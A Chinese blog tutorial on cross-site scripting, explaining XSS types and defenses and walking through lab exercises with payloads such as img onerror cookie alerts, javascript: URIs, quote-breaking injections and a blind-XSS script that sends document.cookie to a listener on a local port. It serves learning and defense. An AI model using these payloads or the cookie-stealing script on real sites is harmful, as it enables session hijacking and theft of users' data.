【网络安全】「靶场练习」(二)跨站脚本攻击 XSS

前言

本篇博文是《从0到1学习安全测试》中靶场练习 系列的第 篇博文,主要内容是了解跨站脚本攻击以及通过靶场进行实战练习加深印象 ,往期系列文章请访问博主的 安全测试 专栏;

严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

跨站脚本攻击介绍

跨站脚本攻击(Cross-Site Scripting,简称 XSS) 是一种常见的网络攻击方式,攻击者通过在网页中插入恶意脚本,导致用户的浏览器执行这些脚本。通过这种方式,攻击者可以窃取用户的敏感信息、进行会话劫持,甚至传播恶意软件。

攻击方式

  1. 反射型 XSS(Reflected XSS) :攻击者将恶意脚本嵌入到 URL 中,并诱使用户点击链接,服务器将用户的请求直接反射回页面,执行恶意脚本。例如,攻击者可能通过邮件发送一个包含恶意参数的链接。

  2. 存储型 XSS(Stored XSS) :攻击者将恶意脚本存储在服务器上(如数据库、留言板等),当其他用户访问这些内容时,脚本被自动执行。例如,在用户评论区插入恶意代码,其他用户查看评论时触发。

  3. 基于 DOM 的 XSS(DOM-based XSS) :攻击者通过修改页面的 DOM 结构,使得客户端脚本执行恶意代码。例如,利用 JavaScript 的 document.locationdocument.write 来改变页面内容。

  4. 盲打 XSS(Blind XSS) :XSS 的一种变体,与传统的 XSS 攻击不同,盲打 XSS 在攻击者无法立即看到或获取到攻击结果的情况下实施,通常需要将恶意代码注入到目标应用的某些部分,等待该代码在另一个地方被执行。

防御措施

  1. 输入验证:对用户输入的数据进行严格验证,确保不允许输入任何脚本代码。可以使用白名单方式来过滤有效输入。

  2. 输出编码 :在输出到网页时,对用户输入进行 HTML 实体编码,将特殊字符(如 <, >, &)转换为其对应的 HTML 实体,以避免执行。

  3. 内容安全策略(CSP) :通过设置 HTTP 头部的 Content-Security-Policy,限制可执行的脚本源,从而防止未授权的脚本执行。

  4. 避免内联脚本 :不在 HTML 中直接使用 JavaScript 代码,而是将所有脚本放在外部文件中,并使用 noncehash 进行安全验证。

  5. 使用安全库和框架:利用现代前端框架(如 React、Angular)自带的防 XSS 机制,自动处理用户输入和输出,减少手动编码错误的可能性。

跨站脚本攻击练习

1、反射型 XSS (GET)

先输入一个 sidiot 尝试一下,如下图所示:

这里尝试简单的 XSS 注入,写到一半发现 input 框限制了长度,可以 F12 修改长度 maxlength="200",或者直接在 GET 参数中进行注入 %3Cimg%20src%3D1%20onerror%3Dalert(1)%3E,如下图所示:

2、反射型 XSS (POST)

通过提示,我们可以知道这道题的目的是为了让我们通过 XSS 来获取到 cookie。

先通过账号密码 admin/123456 进行登录,登录后还是和上一题一样的形式,尝试一下 <img src=1 onerror=alert(document.cookie)>,成功获取到 cookie:

3、存储型 XSS

尝试 <img src=1 onerror=alert(1)> 进行注入,成功弹框:

由于是留言板,我们发布之后,它会在底下进行展示,因此这将会是永久性的 XSS。

4、DOM 型 XSS

尝试输入 sidiot,根据提示查看 HTML 元素,如下图所示:

我们要做的是,在 href 属性里执行 JS 代码,例如 javascript:alert(1),点击 "what do you see?" 即会触发弹窗:

5、XSS 盲打

尝试输入 <img src=1 onerror=alert(document.cookie)> 进行 XSS 注入,发现提交之后并没有进行弹窗,而是在底部返回了 "谢谢参与,阁下的看法我们已经收到!"。

直接瞄一眼提示:

登录到后台后,发现出现弹窗:

由于 XSS 盲打的执行效果通常是由后台人员或不同的用户组触发的,攻击者无法在前端直接看到结果。因此,攻击者常常使用外部资源来接收信息,例如通过创建监听的外部服务器,将攻击结果(如敏感信息)发送到该服务器。

使用如下指令来反弹攻击结果:

html 复制代码
<script>
    var img = new Image(); 
    img.src = 'http://127.0.0.1:8888/?cookie=' + document.cookie; 
</script>

下面拉起一个 Python 的临时服务,用于监听反弹回来的攻击结果:

6、XSS 过滤

直接一把出了 <img src=1 onerror=alert(document.cookie)>

去代码里看看过滤了什么:

这段正则试图替换用户输入中的所有形态的 <script> 标签,防止攻击者通过插入一些无关字符绕过简单的过滤规则。例如,<sCrIpT> 或者 <scr<sp>ipt> 这种变形。

但是这段正则表达式只能处理比较明显的 <script> 标签变种,更复杂的变种可能绕过这个正则,例如使用多字节编码、实体编码(&lt;script&gt;)等。

而且,虽然过滤掉了 <script> 标签,但攻击者可能会利用其他方式进行 XSS 攻击,例如通过事件处理属性(如 onclickonload)注入恶意代码,或者通过 <iframe><img> 等标签引入脚本。

为了更安全地处理用户输入,可以使用 htmlspecialchars 函数来防止 XSS 攻击。htmlspecialchars 函数将所有的 HTML 特殊字符转义,确保输入内容以纯文本形式显示,而不会被浏览器解释为 HTML 或 JavaScript。

php 复制代码
$message = htmlspecialchars($_GET['message'], ENT_QUOTES, 'UTF-8');

7、XSS htmlspecialchars

上面已经介绍过 htmlspecialchars 会将特殊的 HTML 字符转义为 HTML 实体,确保这些字符不会在浏览器中被解析为 HTML 或 JavaScript,以下的特殊字符会被转换为对应的 HTML 实体:

字符 转换后的实体
& &amp;
< &lt;
> &gt;
" &quot;
' &#039;

通过将这些字符转义,浏览器就不会将它们解释为实际的 HTML 标签或属性,而是作为普通的文本内容来展示。这是防止 XSS 攻击的一个非常有效的措施。

直接 <img src=1 onerror=alert(document.cookie)> 试试效果:

看样子可以考虑去闭合 href,' onclick='alert(1)' 单引号没被转义是可行的,双引号被转义了用不了 href="&quot; onclick=&quot;alert(1)&quot;"

或者使用 javascript:alert(document.title) 来绕过特殊字符转义:

8、XSS href 输出

直接用上面的脚本跟进行注入 javascript:alert(document.title)

在这种情况下,我们可以采取相应的安全措施来防止潜在的攻击。首先,可以通过白名单机制只允许合法的协议类型,例如 httphttps。其次,应该对用户输入的内容进行 htmlspecialchars 处理,将特殊字符(如 <, >, & 等)转义为 HTML 实体,防止它们被解析为 HTML 或脚本标签。这些预防措施可以有效防止 XSS 攻击和其他潜在的安全威胁,确保网页的安全性。

9、XSS js 输出

尝试输入 sidiot,看看反应,根据题目是与 JS 有关,因此直接看到 script 中:

直接尝试去闭合单引号:';alert(1);$m=',拿下。

后记

以上就是 跨站脚本攻击 XSS 的所有内容了,希望本篇博文对大家有所帮助!

严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

📝 上篇精讲:(一)暴力破解漏洞 Burt Force

💖 我是 𝓼𝓲𝓭𝓲𝓸𝓽,期待你的关注,创作不易,请多多支持;

👍 公众号:sidiot的技术驿站

🔥 系列专栏:安全测试工具和技术:从漏洞扫描到渗透测试

相关推荐
EasyNVR4 小时前
NVR管理平台EasyNVR多个NVR同时管理:全方位安防监控视频融合云平台方案
安全·音视频·监控·视频监控
黑客Ash7 小时前
【D01】网络安全概论
网络·安全·web安全·php
阿龟在奔跑8 小时前
引用类型的局部变量线程安全问题分析——以多线程对方法局部变量List类型对象实例的add、remove操作为例
java·jvm·安全·list
.Ayang8 小时前
SSRF漏洞利用
网络·安全·web安全·网络安全·系统安全·网络攻击模型·安全架构
.Ayang9 小时前
SSRF 漏洞全解析(概述、攻击流程、危害、挖掘与相关函数)
安全·web安全·网络安全·系统安全·网络攻击模型·安全威胁分析·安全架构
好想打kuo碎9 小时前
1、HCIP之RSTP协议与STP相关安全配置
网络·安全
周全全9 小时前
Spring Boot + Vue 基于 RSA 的用户身份认证加密机制实现
java·vue.js·spring boot·安全·php
周三有雨10 小时前
【面试题系列Vue07】Vuex是什么?使用Vuex的好处有哪些?
前端·vue.js·面试·typescript
Mr.Pascal10 小时前
刚学php序列化/反序列化遇到的坑(攻防世界:Web_php_unserialize)
开发语言·安全·web安全·php